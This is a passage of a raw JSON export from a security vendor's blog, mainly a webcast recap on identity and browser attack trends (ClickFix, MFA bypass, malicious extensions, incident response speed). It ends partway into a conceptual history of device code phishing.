",{"data":7748,"content":7749,"nodeType":866},{},[7750],{"data":7751,"marks":7752,"value":7753,"nodeType":865},{},[],"Novel attack techniques still require human creativity to discover, and detections built around how those techniques work can survive infrastructure rotation, tool proliferation, and kit fragmentation. Defending that layer requires a vantage point inside the browser session and a research pipeline fast enough to stay ahead of the accelerating path from discovery to industrialization.",{"data":7755,"content":7756,"nodeType":972},{},[],{"data":7758,"content":7759,"nodeType":866},{},[7760],{"data":7761,"marks":7762,"value":1356,"nodeType":865},{},[],{"data":7764,"content":7765,"nodeType":866},{},[7766],{"data":7767,"marks":7768,"value":1363,"nodeType":865},{},[],{"data":7770,"content":7771,"nodeType":866},{},[7772,7775,7782],{"data":7773,"marks":7774,"value":21,"nodeType":865},{},[],{"data":7776,"content":7777,"nodeType":889},{"uri":1372},[7778],{"data":7779,"marks":7780,"value":7011,"nodeType":865},{},[7781],{"type":943},{"data":7783,"marks":7784,"value":2302,"nodeType":865},{},[],"The Pyramid of Pain in the AI era: Why technique-level detection matters more than ever","AI is accelerating the collapse of indicator-based threat detection. Here's why you need technique-level detection to stay ahead.","2026-06-01T00:00:00.000Z","the-pyramid-of-pain-in-the-ai-era",{"items":7790},[7791,7793],{"sys":7792,"name":342},{"id":4642},{"sys":7794,"name":7796},{"id":7795},"6A5RXS31ZQx3PwryGb1IMy","Browser-based attacks",{"items":7798},[7799],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":7803},"Dan Green","Dan","Threat Research",{"url":7804},"https://images.ctfassets.net/y1cdw1ablpvd/7jik1VhFgA3kgzXBXTm2Vw/fcd8c171da644903d0827eafcfbcaad0/Dan_Headshot_2025.png","why-modern-browser-attacks-evade-edr","blog/why-modern-browser-attacks-evade-edr",{"json":7808},{"data":7809,"content":7810,"nodeType":1382},{},[7811],{"data":7812,"content":7813,"nodeType":866},{},[7814],{"data":7815,"marks":7816,"value":7817,"nodeType":865},{},[],"This article explains why the gap between what EDR sees and what happens inside the browser is exactly where attackers have built their playbook, and what it takes to close it.","This article explains the gap between what EDR sees and what happens inside the browser, and what it takes to close it.",{"id":7820,"publishedAt":7821},"3qMmscyEh3T1Mbf8qXQHmd","2026-08-12T12:00:46.858Z",{"items":7823},[7824,7826],{"sys":7825,"name":7796},{"id":7795},{"sys":7827,"name":297},{"id":2310},{"items":7829},[7830,7832,7834,7836,7838,7840,7842,7844,7846,7848,7850,7852,7854,7856,7858],{"sys":7831,"name":279,"slug":280,"tier":31},{"id":276},{"sys":7833,"name":297,"slug":298,"tier":31},{"id":294},{"sys":7835,"name":342,"slug":343,"tier":31},{"id":339},{"sys":7837,"name":413,"slug":414,"tier":31},{"id":410},{"sys":7839,"name":377,"slug":378,"tier":45},{"id":374},{"sys":7841,"name":261,"slug":262,"tier":45},{"id":258},{"sys":7843,"name":571,"slug":572,"tier":45},{"id":568},{"sys":7845,"name":315,"slug":316,"tier":45},{"id":312},{"sys":7847,"name":511,"slug":512,"tier":45},{"id":508},{"sys":7849,"name":360,"slug":361,"tier":45},{"id":357},{"sys":7851,"name":324,"slug":325,"tier":45},{"id":321},{"sys":7853,"name":475,"slug":476,"tier":45},{"id":472},{"sys":7855,"name":484,"slug":485,"tier":45},{"id":481},{"sys":7857,"name":244,"slug":245,"tier":45},{"id":241},{"sys":7859,"name":422,"slug":423,"tier":45},{"id":419},"tohekhxoD8wEmdq6HhALjxFwORVgBY5wCOC_F3fg4ag",{"id":7862,"title":7863,"authorsCollection":7864,"content":7872,"extension":228,"faqItemsCollection":8402,"faqTitle":59,"featured":6,"hashTags":59,"meta":8404,"metaTitle":8405,"ogImage":59,"postType":1424,"publishedDate":8406,"relatedBlogPostsCollection":8407,"slug":13349,"stem":13350,"subtitle":59,"summary":13351,"synopsis":13373,"sys":13374,"tagsCollection":13377,"topicsCollection":13383,"__hash__":13421},"blog/blog/7-things-we-learned-from-matt-johansen.json","What we learned from 'Security Theater vs. Security That Works' with Matt Johansen",{"items":7865},[7866],{"fullName":7867,"firstName":7868,"jobTitle":7869,"socialLinks":59,"profilePicture":7870},"Daniel Park","Daniel","Technical Content",{"url":7871},"https://images.ctfassets.net/y1cdw1ablpvd/6Cwg1xVeCdzUvxBIMfnDO5/6b18ed126b53611e7b521da34f900d29/254-0-2.jpg",{"json":7873,"links":8384},{"data":7874,"content":7875,"nodeType":1382},{},[7876,7884,7891,7918,7925,7932,7935,7943,7950,7968,7975,7993,7996,8004,8011,8030,8048,8066,8069,8075,8081,8084,8092,8099,8115,8122,8125,8133,8172,8179,8186,8193,8201,8220,8238,8245,8252,8259,8278,8281,8289,8296,8314,8321,8328,8331,8353,8356,8362,8368],{"data":7877,"content":7878,"nodeType":981},{},[7879],{"data":7880,"marks":7881,"value":7883,"nodeType":865},{},[7882],{"type":926},"1. Hackers don't hack in, they log in",{"data":7885,"content":7886,"nodeType":866},{},[7887],{"data":7888,"marks":7889,"value":7890,"nodeType":865},{},[],"Matt made the point early on that \"the modern web frameworks that have come out have done more to shift application security than any security vendor ever did.\" It's measurably harder to write exploitable code in 2026 than it was even five years ago, and the data reflects that — as Matt put it, \"most hacks that we read about these days are actually logins, not actually hacks in terms of vulnerabilities.\" Attackers aren't breaking in — they're logging in.",{"data":7892,"content":7893,"nodeType":866},{},[7894,7898,7902,7906,7914],{"data":7895,"marks":7896,"value":7897,"nodeType":865},{},[],"The data backs this up across the board. CrowdStrike's 2026 Global Threat Report found that ",{"data":7899,"marks":7900,"value":4757,"nodeType":865},{},[7901],{"type":926},{"data":7903,"marks":7904,"value":7905,"nodeType":865},{},[]," — no exploit, no payload, just access and legitimate functionality being abused. ",{"data":7907,"content":7909,"nodeType":889},{"uri":7908},"https://services.google.com/fh/files/misc/cloud_threat_horizons_report_h12026.pdf",[7910],{"data":7911,"marks":7912,"value":7913,"nodeType":865},{},[],"Google/Mandiant",{"data":7915,"marks":7916,"value":7917,"nodeType":865},{},[]," recently reported that identity issues were the initial access vector in 83% of cloud-related incidents.",{"data":7919,"content":7920,"nodeType":866},{},[7921],{"data":7922,"marks":7923,"value":7924,"nodeType":865},{},[],"And when you look at the economics, the shift makes obvious sense: a browser RCE goes for around $250,000, while a PhaaS kit rental runs about $1,000 per year and a bulk stolen credential list costs $15. For a rational attacker, identity abuse isn't just easier — it's orders of magnitude cheaper.",{"data":7926,"content":7927,"nodeType":866},{},[7928],{"data":7929,"marks":7930,"value":7931,"nodeType":865},{},[],"This isn't a new observation, but it's one that still hasn't fully landed in how most organizations allocate their security budgets. The bulk of enterprise security spending is still pointed at the endpoint and the network — tooling built for an era when the primary threat was malware and exploitation. The threat model has moved, and for a lot of organizations, the stack hasn't moved with it.",{"data":7933,"content":7934,"nodeType":972},{},[],{"data":7936,"content":7937,"nodeType":981},{},[7938],{"data":7939,"marks":7940,"value":7942,"nodeType":865},{},[7941],{"type":926},"2. AI is a force multiplier, but it isn't a super hacker",{"data":7944,"content":7945,"nodeType":866},{},[7946],{"data":7947,"marks":7948,"value":7949,"nodeType":865},{},[],"The Mythos discourse has been hard to escape. As Matt put it, the view that \"the AI super hacker has escaped the lab\" is \"not actually what's going on.\" What's actually happening is that AI models trained to understand code are turning out to be very good at finding specific types of vulnerabilities in predominantly legacy codebases — but defenders stand to gain a lot too.",{"data":7951,"content":7952,"nodeType":866},{},[7953,7957,7965],{"data":7954,"marks":7955,"value":7956,"nodeType":865},{},[],"As Matt referenced, Google's CISO Heather Adkins said on stage at the Unprompted conference that Google's stated goal is \"to eliminate all software vulnerabilities, period.\" And browser zero-days already hit a ",{"data":7958,"content":7960,"nodeType":889},{"uri":7959},"https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review",[7961],{"data":7962,"marks":7963,"value":7964,"nodeType":865},{},[],"historic low at just 9% of all zero-days reported to Google in 2025",{"data":7966,"marks":7967,"value":1615,"nodeType":865},{},[],{"data":7969,"content":7970,"nodeType":866},{},[7971],{"data":7972,"marks":7973,"value":7974,"nodeType":865},{},[],"But won't AI-assisted vulnerability discovery eventually make browser exploits cheaper for attackers too? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.",{"data":7976,"content":7977,"nodeType":866},{},[7978,7982,7989],{"data":7979,"marks":7980,"value":7981,"nodeType":865},{},[],"As Matt noted, \"they didn't train these models to be good at cybersecurity — they just trained them to get better and better at code,\" and big tech vendors like Google have the resources to really invest in these tools. The rational play for attackers is the same one it's been for years: skip the exploit development entirely and ",{"data":7983,"content":7984,"nodeType":889},{"uri":6347},[7985],{"data":7986,"marks":7987,"value":7988,"nodeType":865},{},[],"steal identities and sessions in the browser",{"data":7990,"marks":7991,"value":7992,"nodeType":865},{},[]," instead.",{"data":7994,"content":7995,"nodeType":972},{},[],{"data":7997,"content":7998,"nodeType":981},{},[7999],{"data":8000,"marks":8001,"value":8003,"nodeType":865},{},[8002],{"type":926},"3. MFA is essential — but it isn't a silver bullet",{"data":8005,"content":8006,"nodeType":866},{},[8007],{"data":8008,"marks":8009,"value":8010,"nodeType":865},{},[],"Nobody's arguing against MFA. It's one of the most important security controls any organization can deploy, and both Matt and Mark were clear about that. But the conversation surfaced something that doesn't get enough attention: there are always gaps in coverage, and attackers have consistently found ways under, over, or through it.",{"data":8012,"content":8013,"nodeType":866},{},[8014,8018,8026],{"data":8015,"marks":8016,"value":8017,"nodeType":865},{},[],"Mark observed that every organization he talks to says they're in the process of \"rolling out\" MFA. It's always in progress, never complete — there's always an app that doesn't support it, a legacy system that can't handle it, a user population that hasn't been migrated, or a SaaS vendor charging extra for the privilege (the ",{"data":8019,"content":8021,"nodeType":889},{"uri":8020},"https://pushsecurity.com/blog/minimum-viable-identity-security/",[8022],{"data":8023,"marks":8024,"value":8025,"nodeType":865},{},[],"security tax",{"data":8027,"marks":8028,"value":8029,"nodeType":865},{},[],"). Coverage gaps are the norm, not the exception.",{"data":8031,"content":8032,"nodeType":866},{},[8033,8037,8044],{"data":8034,"marks":8035,"value":8036,"nodeType":865},{},[],"Then there's the bypass evolution. Matt walked through the history — SMS and SIM swapping, push notifications and push fatigue, and now ",{"data":8038,"content":8039,"nodeType":889},{"uri":4813},[8040],{"data":8041,"marks":8042,"value":8043,"nodeType":865},{},[],"AiTM kits ",{"data":8045,"marks":8046,"value":8047,"nodeType":865},{},[],"that proxy the entire authentication flow, capturing both the password and the MFA token in a single attack. Every step up the MFA ladder, attackers have found a way around. Phishing-resistant methods like hardware tokens and passkeys are a meaningful improvement, but rollout is slow and uneven.",{"data":8049,"content":8050,"nodeType":866},{},[8051,8055,8062],{"data":8052,"marks":8053,"value":8054,"nodeType":865},{},[],"And then there's the class of attacks that sidestep authentication entirely. Consent phishing, ",{"data":8056,"content":8057,"nodeType":889},{"uri":1951},[8058],{"data":8059,"marks":8060,"value":8061,"nodeType":865},{},[],"device code phishing",{"data":8063,"marks":8064,"value":8065,"nodeType":865},{},[],", session hijacking — these are all post-authentication attacks. The user has already authenticated successfully, the MFA did its job, and the attacker is going after what comes after: OAuth tokens, session cookies, consent grants. Matt compared these to zero days for identity — they bypass the entire front end of your defensive stack. MFA is absolutely something you should be rolling out and strengthening, but it's one layer in what needs to be a deeper defense.",{"data":8067,"content":8068,"nodeType":972},{},[],{"data":8070,"content":8074,"nodeType":912},{"target":8071},{"sys":8072},{"id":8073,"type":909,"linkType":910},"7upGHPt7eVNji6v22h124t",[],{"data":8076,"content":8080,"nodeType":912},{"target":8077},{"sys":8078},{"id":8079,"type":909,"linkType":910},"53U3LHhhHFYnEpShdLmDqs",[],{"data":8082,"content":8083,"nodeType":972},{},[],{"data":8085,"content":8086,"nodeType":981},{},[8087],{"data":8088,"marks":8089,"value":8091,"nodeType":865},{},[8090],{"type":926},"4. User training is not enough: better technical controls are required",{"data":8093,"content":8094,"nodeType":866},{},[8095],{"data":8096,"marks":8097,"value":8098,"nodeType":865},{},[],"Matt was blunt on this one: \"If those tips worked, cybersecurity as a profession would be out of business.\" 20+ years of user awareness training, and phishing is arguably more effective than ever. The standard advice — hover over links, check the sender, look for typos — assumes a level of sustained vigilance that no human can maintain across every interaction, every day.",{"data":8100,"content":8101,"nodeType":866},{},[8102,8106,8111],{"data":8103,"marks":8104,"value":8105,"nodeType":865},{},[],"What made his point land was the contrast between the comment sections on his ClickFix content — \"Who the hell would fall for this?\" — and the reality that ",{"data":8107,"marks":8108,"value":8110,"nodeType":865},{},[8109],{"type":926},"every incident response professional he knows is currently working a ClickFix case. ",{"data":8112,"marks":8113,"value":8114,"nodeType":865},{},[],"The people saying nobody would fall for it are not the people cleaning up after it.",{"data":8116,"content":8117,"nodeType":866},{},[8118],{"data":8119,"marks":8120,"value":8121,"nodeType":865},{},[],"Matt also brought the recent Lazarus group fake job scams: threat actors spending six months building trust with a target — meeting in person at conferences, multiple times — before eventually getting them to install a malicious browser extension during a Zoom call. All of the social engineering that precedes the actual compromise is just trust-building, and the sophistication of that trust-building is increasing faster than any training program can keep up with. You need defensive layers that don't depend on the user making the right call every single time.",{"data":8123,"content":8124,"nodeType":972},{},[],{"data":8126,"content":8127,"nodeType":981},{},[8128],{"data":8129,"marks":8130,"value":8132,"nodeType":865},{},[8131],{"type":926},"5. Every IR pro you know is working a ClickFix case",{"data":8134,"content":8135,"nodeType":866},{},[8136,8140,8147,8151,8159,8162,8168],{"data":8137,"marks":8138,"value":8139,"nodeType":865},{},[],"ClickFix came up repeatedly, and for good reason — it's one of the ",{"data":8141,"content":8142,"nodeType":889},{"uri":6347},[8143],{"data":8144,"marks":8145,"value":8146,"nodeType":865},{},[],"most common initial access vectors",{"data":8148,"marks":8149,"value":8150,"nodeType":865},{},[]," being reported right now. Matt said he doesn't know a single IR professional in his network who \"isn't actively working a ClickFix-related case.\" The technique, which tricks users into copying and pasting malicious commands, has spawned an entire family of variants (",{"data":8152,"content":8153,"nodeType":889},{"uri":7712},[8154],{"data":8155,"marks":8156,"value":8158,"nodeType":865},{},[8157],{"type":943},"InstallFix",{"data":8160,"marks":8161,"value":2717,"nodeType":865},{},[],{"data":8163,"content":8164,"nodeType":889},{"uri":7472},[8165],{"data":8166,"marks":8167,"value":7465,"nodeType":865},{},[],{"data":8169,"marks":8170,"value":8171,"nodeType":865},{},[],", and others), and they're evolving fast.",{"data":8173,"content":8174,"nodeType":866},{},[8175],{"data":8176,"marks":8177,"value":8178,"nodeType":865},{},[],"Matt shared a particularly good example of why the \"just don't fall for it\" advice falls apart. Attackers were paying for ads promoting ChatGPT chat history links on technical search queries — things like \"how to clean up disk space on Mac.\" The top result was a legitimate-looking ChatGPT interface with what appeared to be helpful terminal commands.",{"data":8180,"content":8181,"nodeType":866},{},[8182],{"data":8183,"marks":8184,"value":8185,"nodeType":865},{},[],"The user was already looking for commands to copy and paste into their terminal. The attack didn't need to trick them into doing something unusual — it just showed up in the exact context where copy-pasting commands was the expected behavior.",{"data":8187,"content":8188,"nodeType":866},{},[8189],{"data":8190,"marks":8191,"value":8192,"nodeType":865},{},[],"The new variants keep appearing because the underlying technique is modular — the trust-building wrapper changes (fake CAPTCHAs, fake error messages, fake install instructions, fake AI chat interfaces), but the core mechanic is the same. What makes it dangerous is that each new wrapper goes quasi-viral among attackers when it proves successful, which means the window between a new variant appearing and widespread adoption is very short.",{"data":8194,"content":8195,"nodeType":981},{},[8196],{"data":8197,"marks":8198,"value":8200,"nodeType":865},{},[8199],{"type":926},"6. Browser extensions are the threat that never went away (and it's a bigger problem than ever)",{"data":8202,"content":8203,"nodeType":866},{},[8204,8208,8216],{"data":8205,"marks":8206,"value":8207,"nodeType":865},{},[],"Browser extensions are a topic we've ",{"data":8209,"content":8211,"nodeType":889},{"uri":8210},"https://pushsecurity.com/resources/browser-extensions-webinar",[8212],{"data":8213,"marks":8214,"value":8215,"nodeType":865},{},[],"covered in depth before",{"data":8217,"marks":8218,"value":8219,"nodeType":865},{},[],", and Matt's perspective reinforced why. His first conference talk — Black Hat and DEF CON in 2011 — was about Chrome extension security. As he put it: \"I could give that talk right now with very few changes to the slides and it would still be extremely relevant.\"",{"data":8221,"content":8222,"nodeType":866},{},[8223,8227,8234],{"data":8224,"marks":8225,"value":8226,"nodeType":865},{},[],"The core problem hasn't moved: ",{"data":8228,"content":8229,"nodeType":889},{"uri":3720},[8230],{"data":8231,"marks":8232,"value":8233,"nodeType":865},{},[],"extensions need broad permissions to function",{"data":8235,"marks":8236,"value":8237,"nodeType":865},{},[],", even for completely legitimate use cases. A password manager needs to read login forms on every website. A dark mode extension needs to modify the DOM on every page. An RSS reader needs access to arbitrary sites. These aren't excessive permissions — they're the minimum required for the extension to do what it advertises.",{"data":8239,"content":8240,"nodeType":866},{},[8241],{"data":8242,"marks":8243,"value":8244,"nodeType":865},{},[],"What's making it worse is the AI adoption wave. Many AI tools ship with browser extension counterparts, and employees are installing them alongside the apps themselves — often without approval. The broader rush to adopt AI tooling is acting as a force multiplier for the shadow SaaS problem that security teams have been struggling with for years, and extensions are a big part of that.",{"data":8246,"content":8247,"nodeType":866},{},[8248],{"data":8249,"marks":8250,"value":8251,"nodeType":865},{},[],"The ways extensions get compromised vary. Users still get tricked into installing something malicious from the start, but legitimate extensions also turn malicious after the fact. Matt outlined several mechanisms: developer accounts getting compromised and attackers pushing malicious updates to the existing user base; extension developers accepting monetization deals that turn out to be data-harvesting operations; and threat actors outright purchasing extensions with established user bases and then pushing malware to them.",{"data":8253,"content":8254,"nodeType":866},{},[8255],{"data":8256,"marks":8257,"value":8258,"nodeType":865},{},[],"The Chrome Web Store doesn't solve this. Matt noted that he uploaded a proof-of-concept extension literally called \"Malicious Extension\" and it made it onto the store. There's some review process, but it's not real-time, it's not continuous, and it doesn't cover updates after initial submission.",{"data":8260,"content":8261,"nodeType":866},{},[8262,8266,8274],{"data":8263,"marks":8264,"value":8265,"nodeType":865},{},[],"Even organizations with a formal extension approval process typically only look at the extension once — at install time. Nobody's reviewing every update to every approved extension. And the risk assessment? \"It's mostly based on vibes. There's very little science here.\" Even at organizations with mature security programs, Matt hasn't seen many that have ",{"data":8267,"content":8269,"nodeType":889},{"uri":8268},"https://pushsecurity.com/blog/browser-extension-management-guide/",[8270],{"data":8271,"marks":8272,"value":8273,"nodeType":865},{},[],"real-time, ongoing visibility",{"data":8275,"marks":8276,"value":8277,"nodeType":865},{},[]," into what's happening inside their employees' browser extensions.",{"data":8279,"content":8280,"nodeType":972},{},[],{"data":8282,"content":8283,"nodeType":981},{},[8284],{"data":8285,"marks":8286,"value":8288,"nodeType":865},{},[8287],{"type":926},"7. You have 30 minutes to respond to a cloud intrusion — and revoking the token isn't enough",{"data":8290,"content":8291,"nodeType":866},{},[8292],{"data":8293,"marks":8294,"value":8295,"nodeType":865},{},[],"Matt was direct about the speed benchmark practitioners should be targeting: meaningful containment and eradication within about 30 minutes, because attackers are partially achieving their objectives in 20 to 40 minutes and significantly past the point of no return within an hour.",{"data":8297,"content":8298,"nodeType":866},{},[8299,8303,8310],{"data":8300,"marks":8301,"value":8302,"nodeType":865},{},[],"The data supports this picture. CrowdStrike reports that the average e-crime \"breakout time\" (moving from initial access to high-value assets) is now just 29 minutes, while Google reports that the median time between initial access and hand-off to a secondary group has collapsed from ",{"data":8304,"content":8305,"nodeType":889},{"uri":3574},[8306],{"data":8307,"marks":8308,"value":8309,"nodeType":865},{},[],"over 8 hours in 2022 to just 22 seconds in 2025",{"data":8311,"marks":8312,"value":8313,"nodeType":865},{},[]," — pointing to a highly automated, interconnected, and professionalized threat actor ecosystem.",{"data":8315,"content":8316,"nodeType":866},{},[8317],{"data":8318,"marks":8319,"value":8320,"nodeType":865},{},[],"But speed alone isn't the problem Matt emphasized — it's that the containment actions practitioners think they have don't actually work the way they expect. His anecdote about revoking an IdP OAuth token and assuming the session was killed, only to discover that the 200 downstream SaaS session tokens were still live, will resonate with anyone who has worked an identity-based incident.",{"data":8322,"content":8323,"nodeType":866},{},[8324],{"data":8325,"marks":8326,"value":8327,"nodeType":865},{},[],"You can't move that fast if you're figuring out what your tools can and can't do during the incident. The teams that handle these situations well are the ones that have taken stock of their actual capabilities beforehand — what their IdP revokes, what it doesn't, which SaaS apps have independent session management, where the gaps are. The teams that don't are the ones at \"1 AM with a pager in hand going, 'What the hell do I do now?'\" as Matt described it. \"Ask me how I know.\"",{"data":8329,"content":8330,"nodeType":972},{},[],{"data":8332,"content":8333,"nodeType":7584},{},[8334],{"data":8335,"content":8336,"nodeType":866},{},[8337,8341,8349],{"data":8338,"marks":8339,"value":8340,"nodeType":865},{},[],"This post is a recap of ",{"data":8342,"content":8344,"nodeType":889},{"uri":8343},"https://pushsecurity.com/resources/security-theatre-vs-security-works",[8345],{"data":8346,"marks":8347,"value":8348,"nodeType":865},{},[],"Security theatre vs. security that works",{"data":8350,"marks":8351,"value":8352,"nodeType":865},{},[],", the third episode in Push Security's webcast series on the state of browser attacks. Watch the full recording for the complete conversation, including live Q&A with Mark and Matt.",{"data":8354,"content":8355,"nodeType":972},{},[],{"data":8357,"content":8358,"nodeType":866},{},[8359],{"data":8360,"marks":8361,"value":1356,"nodeType":865},{},[],{"data":8363,"content":8364,"nodeType":866},{},[8365],{"data":8366,"marks":8367,"value":1363,"nodeType":865},{},[],{"data":8369,"content":8370,"nodeType":866},{},[8371,8374,8381],{"data":8372,"marks":8373,"value":21,"nodeType":865},{},[],{"data":8375,"content":8376,"nodeType":889},{"uri":1372},[8377],{"data":8378,"marks":8379,"value":7011,"nodeType":865},{},[8380],{"type":943},{"data":8382,"marks":8383,"value":2302,"nodeType":865},{},[],{"entries":8385},{"hyperlink":8386,"inline":8387,"block":8388},[],[],[8389,8394],{"sys":8390,"__typename":1414,"type":1415,"ctaText":8391,"buttonLabel":8392,"buttonColour":1418,"buttonUrl":8393},{"id":8073},"Check out our browser and identity attacks matrix for a comprehensive overview of attack techniques using a MITRE-inspired mapping.","Check it out","https://pushsecurity.com/resources/browser-identity-attacks-matrix/",{"sys":8395,"__typename":1390,"title":8396,"caption":8397,"layoutMode":59,"file":8398},{"id":8079},"Browser & Identity Attacks Matrix","Browser and identity-based techniques have exploded since we first launched our attack matrix",{"url":8399,"width":8400,"height":8401},"https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png",6160,4432,{"items":8403},[],{},"7 things we learned from our conversation with Matt Johansen","2026-05-21T00:00:00.000Z",{"items":8408},[8409,11426,12507],{"__typename":1429,"sys":8410,"content":8412,"title":11409,"synopsis":11410,"hashTags":59,"publishedDate":11411,"slug":361,"tagsCollection":11412,"authorsCollection":11418},{"id":8411},"5DmCqTU2Tg4adYScA5vT2x",{"json":8413},{"data":8414,"content":8415,"nodeType":1382},{},[8416,8422,8442,8460,8467,8473,8480,8487,8490,8498,8504,8588,8608,8614,8621,8737,8743,8746,8754,8761,8767,8770,8778,8819,8825,8832,8839,8846,8853,8873,8879,8885,8891,8897,8903,8909,8915,8921,9184,9187,9195,9330,9336,9339,9347,9387,9521,9527,9530,9538,9685,9691,9694,9702,9708,9848,9854,9860,9863,9871,10018,10024,10027,10035,10181,10187,10190,10198,10293,10299,10302,10310,10404,10410,10413,10421,10427,10560,10566,10569,10577,10626,10632,10635,10643,10782,10787,10790,10798,10930,10936,10939,10947,10959,10966,10972,10978,10985,11006,11022,11028,11031,11039,11047,11068,11089,11094,11101,11108,11116,11123,11130,11137,11145,11152,11203,11209,11212,11220,11227,11234,11281,11287,11294,11297,11305,11312,11319,11339,11345,11352,11359,11366],{"data":8417,"content":8421,"nodeType":912},{"target":8418},{"sys":8419},{"id":8420,"type":909,"linkType":910},"XOFOeNqmRHeiRbkPOJrP1",[],{"data":8423,"content":8424,"nodeType":866},{},[8425,8429,8438],{"data":8426,"marks":8427,"value":8428,"nodeType":865},{},[],"The OAuth 2.0 ",{"data":8430,"content":8432,"nodeType":889},{"uri":8431},"https://www.rfc-editor.org/rfc/rfc8628",[8433],{"data":8434,"marks":8435,"value":8437,"nodeType":865},{},[8436],{"type":943},"device authorization grant",{"data":8439,"marks":8440,"value":8441,"nodeType":865},{},[]," was designed to enable input-constrained devices to sign-in to apps by asking the user to complete the login on a separate device by entering a code. But today, it’s mainly used when accessing CLI tools, meaning that many users encounter the device code flow daily. ",{"data":8443,"content":8444,"nodeType":866},{},[8445,8448,8456],{"data":8446,"marks":8447,"value":21,"nodeType":865},{},[],{"data":8449,"content":8451,"nodeType":889},{"uri":8450},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_code_phishing/description.md",[8452],{"data":8453,"marks":8454,"value":360,"nodeType":865},{},[8455],{"type":943},{"data":8457,"marks":8458,"value":8459,"nodeType":865},{},[]," attacks designed to exploit this authorization flow are not new — it was among the first techniques that we added to the SaaS attacks matrix back in 2023. But it’s taken until now for it to really enter mainstream adoption. ",{"data":8461,"content":8462,"nodeType":866},{},[8463],{"data":8464,"marks":8465,"value":8466,"nodeType":865},{},[],"The technique tricks a user into issuing access tokens for an attacker-controlled application (not a device, confusingly). Any app that supports device code logins can be a target. Popular examples include Microsoft, Google, Salesforce, GitHub, and AWS. That said, Microsoft is, as always, much more heavily targeted at scale now than any other app.",{"data":8468,"content":8472,"nodeType":912},{"target":8469},{"sys":8470},{"id":8471,"type":909,"linkType":910},"Al0pGH8vmOYiufDFiAbt0",[],{"data":8474,"content":8475,"nodeType":866},{},[8476],{"data":8477,"marks":8478,"value":8479,"nodeType":865},{},[],"We’ve always been surprised that attackers haven’t commonly used device code phishing in their standard toolkit, preferring session-stealing AITM phishing and other social engineering attacks like ClickFix. But it’s pretty clear from the recent data that the shift to mainstream adoption has now happened. ",{"data":8481,"content":8482,"nodeType":866},{},[8483],{"data":8484,"marks":8485,"value":8486,"nodeType":865},{},[],"In this blog post, we’ll explore the history of device code phishing, what’s changed for it to enter mainstream adoption, how it works under the hood (with recent examples), and what security teams can do about it. ",{"data":8488,"content":8489,"nodeType":972},{},[],{"data":8491,"content":8492,"nodeType":981},{},[8493],{"data":8494,"marks":8495,"value":8497,"nodeType":865},{},[8496],{"type":926},"A brief history of device code phishing",{"data":8499,"content":8503,"nodeType":912},{"target":8500},{"sys":8501},{"id":8502,"type":909,"linkType":910},"6u3DgvSGChtTJu7l9I7PG1",[],{"data":8505,"content":8506,"nodeType":866},{},[8507,8511,8520,8524,8533,8537,8546,8550,8559,8563,8572,8575,8584],{"data":8508,"marks":8509,"value":8510,"nodeType":865},{},[],"The technique was first documented in 2020, before Secureworks released the first tooling framework ",{"data":8512,"content":8514,"nodeType":889},{"uri":8513},"https://github.com/secureworks/PhishInSuits",[8515],{"data":8516,"marks":8517,"value":8519,"nodeType":865},{},[8518],{"type":943},"PhishInSuits",{"data":8521,"marks":8522,"value":8523,"nodeType":865},{},[]," a year later. A host of research followed, including ",{"data":8525,"content":8527,"nodeType":889},{"uri":8526},"https://github.com/secureworks/squarephish",[8528],{"data":8529,"marks":8530,"value":8532,"nodeType":865},{},[8531],{"type":943},"SquarePhish",{"data":8534,"marks":8535,"value":8536,"nodeType":865},{},[]," v1 (using QR codes to trigger the 15 minute code expiration window), Dirk-Jan Mollema’s ",{"data":8538,"content":8540,"nodeType":889},{"uri":8539},"https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/",[8541],{"data":8542,"marks":8543,"value":8545,"nodeType":865},{},[8544],{"type":943},"key research",{"data":8547,"marks":8548,"value":8549,"nodeType":865},{},[]," (chaining device code phishing via Microsoft apps into Primary Refresh Token (PRT) acquisition to gain full browser-level access) and Dennis Kniep’s ",{"data":8551,"content":8553,"nodeType":889},{"uri":8552},"https://github.com/denniskniep/DeviceCodePhishing",[8554],{"data":8555,"marks":8556,"value":8558,"nodeType":865},{},[8557],{"type":943},"DeviceCodePhishing tool",{"data":8560,"marks":8561,"value":8562,"nodeType":865},{},[]," which automates the entire flow with a headless browser. (Other recent noteworthy tools include ",{"data":8564,"content":8566,"nodeType":889},{"uri":8565},"https://github.com/nromsdahl/squarephish2",[8567],{"data":8568,"marks":8569,"value":8571,"nodeType":865},{},[8570],{"type":943},"SquarePhish2",{"data":8573,"marks":8574,"value":4988,"nodeType":865},{},[],{"data":8576,"content":8578,"nodeType":889},{"uri":8577},"https://github.com/praetorian-inc/GitPhish",[8579],{"data":8580,"marks":8581,"value":8583,"nodeType":865},{},[8582],{"type":943},"GitPhish",{"data":8585,"marks":8586,"value":8587,"nodeType":865},{},[],", so shout out to those too). ",{"data":8589,"content":8590,"nodeType":866},{},[8591,8595,8604],{"data":8592,"marks":8593,"value":8594,"nodeType":865},{},[],"It wasn’t until August 2024 that in-the-wild exploitation was first identified, with Russia-linked campaigns then continuing into 2025 before entering mainstream criminal adoption. This trend has continued to gather momentum in 2026 with ",{"data":8596,"content":8598,"nodeType":889},{"uri":8597},"https://thehackernews.com/2026/03/device-code-phishing-hits-340-microsoft.html",[8599],{"data":8600,"marks":8601,"value":8603,"nodeType":865},{},[8602],{"type":943},"EvilTokens",{"data":8605,"marks":8606,"value":8607,"nodeType":865},{},[],", the first reported criminal PhaaS kit for device code phishing, already powering massive campaigns after launching in February. ",{"data":8609,"content":8613,"nodeType":912},{"target":8610},{"sys":8611},{"id":8612,"type":909,"linkType":910},"6xsfmbYEzpW7CdDiNzO6cu",[],{"data":8615,"content":8616,"nodeType":866},{},[8617],{"data":8618,"marks":8619,"value":8620,"nodeType":865},{},[],"Some of the noteworthy in-the-wild campaigns 